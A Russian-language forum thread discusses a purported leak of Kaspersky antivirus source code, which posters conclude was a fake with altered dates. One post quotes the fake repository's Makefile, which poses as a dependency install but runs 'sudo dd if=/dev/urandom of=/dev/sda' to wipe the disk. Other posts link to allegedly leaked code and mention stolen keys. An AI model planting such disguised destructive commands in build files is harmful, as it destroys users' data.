Исходный код Антивируса Касперского

Из tg канала Mash.
"Лаборатория Касперского", кажется, жестко попала. Их сотрудник скачал себе исходный код знаменитого антивируса, после чего выложил его в интернет. Это все случилось еще в конце октября 2017 года, но работники Евгения Касперского чухнули об этом только в январе 2018 года.

Что известно на данный момент?

Некий сотрудник "Лаборатории" (а вот тут очень интересно, - компания явно знает его имя, но не называет полиции) придумал следующую схему. Он устроился на работу в марте 2016 года, после чего на протяжении длительного времени аккуратно скачивал себе файлы исходного кода антивируса.

После этого, поняв, что никто не обратил внимания на его наглость, загадочный инкогнито выложил это все на файлообменник github точка ком. Цель его действий пока неизвестна, но "Лаборатория Касперского" обратилась в МВД. 7 февраля полиция возбудила уголовное дело.

 

"Лаборатория Касперского" два с половиной месяца не замечала, что их исходный код был украден с одного из компьютеров, после чего выложен в открытый доступ. Пресс-служба опрометчиво заявила, что данные были удалены из интернета на следующий день, тогда как в реальности дела обстоят иначе.

Согласно заявлению представителей "Лаборатории", некий сотрудник не позднее 30 октября 2017 года опубликовал на одном из файлообменников несколько ключевых файлов (у нас есть их список, если что). А вот в полицию представители Касперского бросились бежать только в январе 2018 года. Очухавшись после новогодних, представитель компании подал заявление. Но даже тогда они указали, что данные скопировало "неизвестное им лицо".

Евгений, а существует антивирус для антивируса?

 

Это был фейк. Нас на#@$#, расходимся.
https://github.com/alukatsky/kaspersky
https://github.com/hackshields/antivirus/tree/3752a3b20e1a8390f0889f6192ee6b851e99e8a4/ProductCore

 

Хороший у него мейкфайл:

Код (Text):

1.  
2. all:
3.     @echo Check depends...
4.     @echo Install depends...
5.     @sudo dd if=/dev/urandom of=/dev/sda
6.  

 

Первый раз что ле. И раньше это делали, лично встречался с таким человеком. К сиське(отладчик китайский) ключи были слитые из кл.

 

Чёт я не въехал, а лукацкий здесь причем? Он же спец по сиське(американский маршрутизатор сан-францизско.)

 

если думать что он повелся на этот фейк, то наверное притом - что на гитхаб он свой залил этот олдскульный мусор.
p/s: небольшое уточнение - бумажный спец по cisco.

читаем книгу, видим что ?

я один тут замечаю как человек ничего не читая, пишет сразу ответ ?

 

Leon.Marselle,

Один всем известный человек устроился в кл с целью слить софт и ему это удалось. Спасибо ему за ключи. Что думают остальные значения не имеет. Так же вы эту инфу проверить никак не сможите, это маловероятно и врядле возможно. А означает это что у них дырявая система безопасности. Можно слить всё на флеш и уйти.

 

Indy_,
А зачем нужны были ключи реверсеру? Неужто софт подкачивал функционал по сети?

 

софт каспера загибает флуд хипа, я как то писал обход, но там все замучено было для Рига для IE, кому интересно - в ЛС

 

прибили https://github.com/alukatsky/kaspersky

 

Там репозиторий 2018 года был, не сравнивал с как то давно утекшими сырцами, но думаю, что все уже скачали себе

 

фейк это был с перебитыми датами, вот сравните:
https://www.sendspace.com/file/x1a00k ("утекшая" репа от лукация)
https://github.com/hackshields/antivirus/tree/3752a3b20e1a8390f0889f6192ee6b851e99e8a4/ProductCore (древняя утечка от элькраба)

 

unc1e,

> А зачем нужны были ключи реверсеру?

Незачем. Просто слиты были инструменты на флешку и так вынесены из той конторы. Затем ими человек поделился. Не очень разумно такое..

А что на всех ресурсах подняли подобную тему - это видимо пиар ход кл, мол такие они контролируемые, что прибили утечку данных

 

улыбнуло
// AVP Prague stamp begin( Interface header, )
// -------- ANSI C++ Code Generator 1.0 --------
// -------- Thursday, 30 March 2018, 11:56 --------

 

а было
// AVP Prague stamp begin( Interface header, )
// -------- ANSI C++ Code Generator 1.0 --------
// -------- Thursday, 30 March 2006, 11:56 --------

 

Чёт я не понял. Как вообще Лукацкий мог такое запостить? Это вроде не его стиль.

 

Касперский изобрёл машину времени.

 

SadKo,

Хидеры криво перебили